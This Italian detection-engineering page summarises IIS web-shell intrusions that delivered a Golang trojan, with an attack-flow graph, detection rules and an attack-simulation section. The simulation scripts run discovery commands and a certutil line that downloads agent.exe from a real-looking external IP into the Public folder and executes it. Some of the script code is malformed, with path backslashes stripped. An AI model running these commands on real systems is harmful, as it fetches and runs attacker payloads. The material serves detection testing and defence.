Prova, Errore e Tipi: Perché Alcuni Attacchi Malware Non Sono Così ‘Sofisticati’ Come Pensi
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
L’articolo descrive tre incidenti separati in cui un attore di minaccia ha sfruttato server web IIS compromessi per scaricare ed eseguire un Trojan basato su Golang (agent.exe) sugli endpoint delle vittime. Gli attaccanti hanno tentato ripetutamente l’esecuzione, utilizzato certutil per recuperare i payload e successivamente aggiunto esclusioni di Windows Defender prima di tentare di stabilire la persistenza tramite un servizio Windows. La rilevazione è stata ottenuta tramite log EDR e Sysmon, che hanno catturato le linee di comando, gli alberi dei processi e l’attività di rete. Gli attacchi illustrano come gli avversari si adattino agli ostacoli difensivi piuttosto che seguire un piano perfetto.
Indagine
Gli analisti di Huntress hanno esaminato i registri degli eventi di Windows, gli eventi Sysmon e i registri dei server web IIS per ricostruire la catena d’attacco. Hanno identificato l’esecuzione iniziale della web-shell tramite w3wp.exe, osservato comandi malformati, tentativi ripetuti di consegna del payload e la creazione di un servizio chiamato WindowsUpdate che non è riuscito ad avviarsi. Sono stati raccolti e correlati attraverso i tre incidenti vari indicatori come percorsi dei file, linee di comando e connessioni di rete.
Mitigazione
Le mitigazioni chiave includono il rafforzamento dei server IIS, la restrizione dell’esecuzione della web-shell, l’applicazione di liste di autorizzazione rigorose per le applicazioni, il monitoraggio per l’uso anomalo di LOLBins come certutil e PowerShell e l’assicurarsi che le esclusioni di Windows Defender non siano create in modo arbitrario. Si raccomanda anche l’isolamento rapido degli host compromessi e la rimozione di strumenti scaricati come GotoHTTP.
Risposta
Una volta rilevato, i rispondenti dovrebbero isolare l’endpoint interessato, raccogliere i log completi dell’albero dei processi e di rete, eliminare eventuali binari dannosi, ripristinare esclusioni non autorizzate di Windows Defender e verificare fallimenti nella creazione del servizio. Condurre una revisione approfondita del server web per le pagine compromesse e ruotare tutte le credenziali compromesse.
“graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef technique fill:#c2c2f0 classDef malware fill:#ff9999 %% Node Definitions initial_access[“<b>Azione</b> – <b>T1505.004 Componenti Software del Server: Componenti IIS</b><br/>Server web IIS pubblico sfruttato, installato web shell tramite w3wp.exe”] web_shell[“<b>Malware</b> – <b>Nome</b>: Web Shell<br/><b>File</b>: login.aspx”] process_w3wp[“<b>Processo</b> – <b>Nome</b>: w3wp.exe<br/><b>Scopo</b>: Ospitare applicazione web”] execution[“<b>Azione</b> – <b>T1059.003 Shell dei Comandi di Windows</b><br/>Comandi eseguiti come whoami, netstat, ipconfig”] powershell_exec[“<b>Strumento</b> – <b>Nome</b>: PowerShell<br/><b>Tecnica</b>: T1059.001”] discovery[“<b>Azione</b> – <b>Tecniche di Scoperta</b>”] account_discovery[“<b>Tecnica</b> – <b>T1087.001 Account Locale</b><br/>Enumerati account utente locali”] group_discovery[“<b>Tecnica</b> – <b>T1069.001 Gruppi Locali</b><br/>Enumerati iscrizioni a gruppi locali”] network_conn_disc[“<b>Tecnica</b> – <b>T1049 Scansione dei Servizi di Rete</b><br/>Identificati connessioni di rete attive”] internet_conn_disc[“<b>Tecnica</b> – <b>T1016.001 Scoperta della Connessione Internet</b><br/>Verificata connettività esterna”] defense_evasion[“<b>Azione</b> – <b>Tecniche di Evasione della Difesa</b>”] certutil[“<b>Strumento</b> – <b>Nome</b>: certutil.exe<br/><b>Tecnica</b>: T1218 Esecuzione di Proxy di Sistemi Binari”] hide_files[“<b>Tecnica</b> – <b>T1564.001 Nascondere Artefatti: File e Directory Nascosti</b><br/>Impostati attributi nascosti e di sistema”] defender_exclusion[“<b>Tecnica</b> – <b>T1562 Compromissione delle Difese</b> e <b>T1564.012 Esclusioni del Percorso del File</b><br/>Aggiunte esclusioni di Windows Defender tramite PowerShell”] lateral_transfer[“<b>Azione</b> – <b>T1570 Trasferimento degli Strumenti Laterale</b><br/>Copiati binari malevoli da server esterno”] malicious_binaries[“<b>Malware</b> – <b>File</b>: agent.exe, 815.exe, dllhost.exe”] persistence[“<b>Azione</b> – <b>T1546.010 Esecuzione Attivata da Evento: Servizio di Windows</b><br/>Creato servizio ‘WindowsUpdate’ puntato a dllhost.exe”] service_creation[“<b>Processo</b> – <b>Nome</b>: Servizio di Windows ‘WindowsUpdate'”] final_execution[“<b>Azione</b> – <b>Esecuzione Finale</b><br/>Servizio avviato, l’attaccante mantiene il controllo”] %% Class Assignments class initial_access action class web_shell malware class process_w3wp process class execution action class powershell_exec tool class discovery action class account_discovery technique class group_discovery technique class network_conn_disc technique class internet_conn_disc technique class defense_evasion action class certutil tool class hide_files technique class defender_exclusion technique class lateral_transfer action class malicious_binaries malware class persistence action class service_creation process class final_execution action %% Connections initial_access u002du002d>|uses| web_shell web_shell u002du002d>|runs in| process_w3wp process_w3wp u002du002d>|enables| execution execution u002du002d>|uses| powershell_exec execution u002du002d>|leads to| discovery discovery u002du002d>|includes| account_discovery discovery u002du002d>|includes| group_discovery discovery u002du002d>|includes| network_conn_disc discovery u002du002d>|includes| internet_conn_disc discovery u002du002d>|leads to| defense_evasion defense_evasion u002du002d>|uses| certutil defense_evasion u002du002d>|applies| hide_files defense_evasion u002du002d>|applies| defender_exclusion defense_evasion u002du002d>|leads to| lateral_transfer lateral_transfer u002du002d>|transfers| malicious_binaries malicious_binaries u002du002d>|enables| persistence persistence u002du002d>|creates| service_creation service_creation u002du002d>|triggers| final_execution “
Flusso di attacco
Rilevamenti
Attribuire l’esecuzione per nascondere file (tramite linea di comando)
Visualizza
Eseguibile sospetto contenente solo numeri nel nome (tramite linea di comando)
Visualizza
Modifiche sospette alle preferenze di Windows Defender (tramite PowerShell)
Visualizza
L’uso di Certutil per la codifica dei dati e operazioni di certificazione (tramite linea di comando)
Visualizza
File sospetti nel profilo utente pubblico (tramite evento file)
Visualizza
Esecuzione sospetta dal profilo utente pubblico (tramite creazione processo)
Visualizza
IOC (SourceIP) per rilevare: Tentativo, Errore e Refusi: Perché alcuni attacchi malware non sono così ‘sofisticati’ come pensi
Visualizza
IOC (HashSha256) per rilevare: Tentativo, Errore e Refusi: Perché alcuni attacchi malware non sono così ‘sofisticati’ come pensi
Visualizza
IOC (DestinationIP) per rilevare: Tentativo, Errore e Refusi: Perché alcuni attacchi malware non sono così ‘sofisticati’ come pensi
Visualizza
Rilevamento di richieste POST dannose sul server web [Webserver]
Visualizza
Rilevare l’esecuzione della linea di comando dal processo del server web [Creazione Processo Windows]
Visualizza
Esecuzione Simulazione
Prerequisito: Il controllo preliminare del Telemetry & Baseline deve essere passato.
Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa dell’Attacco & Comandi:
Un attaccante che ha già ottenuto l’esecuzione del codice su un server IIS compromesso sfrutta ilw3wp.exeprocesso (il worker IIS) per eseguire una serie di proxy di binari firmati. Innanzitutto, enumerano lo stato del sistema e della rete (whoami.exe,netstat -an,ipconfig /all). Poi usanocertutil.exeper scaricare un payload dannoso (agent.exe) da un server C2 remoto ed eseguirlo immediatamente nella directory utente pubblica. Tutti i comandi sono emessi tramitecmd.exe /clanciato nel contesto diw3wp.exe, assicurandosi che l’evento di creazione del processo soddisfi le condizioni della regola.# 1. Enumerare le informazioni di sistema/utente Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow # 2. Scaricare un payload dannoso tramite certutil e eseguirlo $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow -
Script di Test di Regressione: Lo script qui sotto automatizza l’intera catena d’attacco, riproducendo la telemetria esatta che dovrebbe attivare la regola Sigma.
<# .SYNOPSIS Simula l'attività dell'avversario che attiva la regola Sigma "Rilevare l'esecuzione della linea di comando dal processo del server web". .DESCRIPTION Esegue una serie di comandi di scoperta e di download e esecuzione da w3wp.exe (processo worker di IIS). Eseguito su un host Windows dove l'auditing della creazione dei processi (ID Evento 4688) è abilitato. #> # Funzione per invocare un comando tramite w3wp.exe function Invoke-W3wpCommand { param ( [Parameter(Mandatory=$true)] [string]$CmdLine ) Write-Host "Invocando tramite w3wp.exe: $CmdLine" Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null } # 1. Comandi di scoperta (MITRE T1033, T1016, T1069.001) $discoveryCommands = @( "whoami.exe", "netstat -an", "net user admin$", "ipconfig /all", "net localgroup administrators" ) foreach ($cmd in $discoveryCommands) { Invoke-W3wpCommand -CmdLine $cmd Start-Sleep -Seconds 2 } # 2. Download e esecuzione malevola (MITRE T1218.004) $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Invoke-W3wpCommand -CmdLine $maliciousCmd -
Comandi di Pulizia: Rimuovere il payload scaricato e terminare eventuali processi vaganti.
# Eliminare il binario agent malevolo Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue # Opzionalmente fermare l'agent se ancora in esecuzione Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force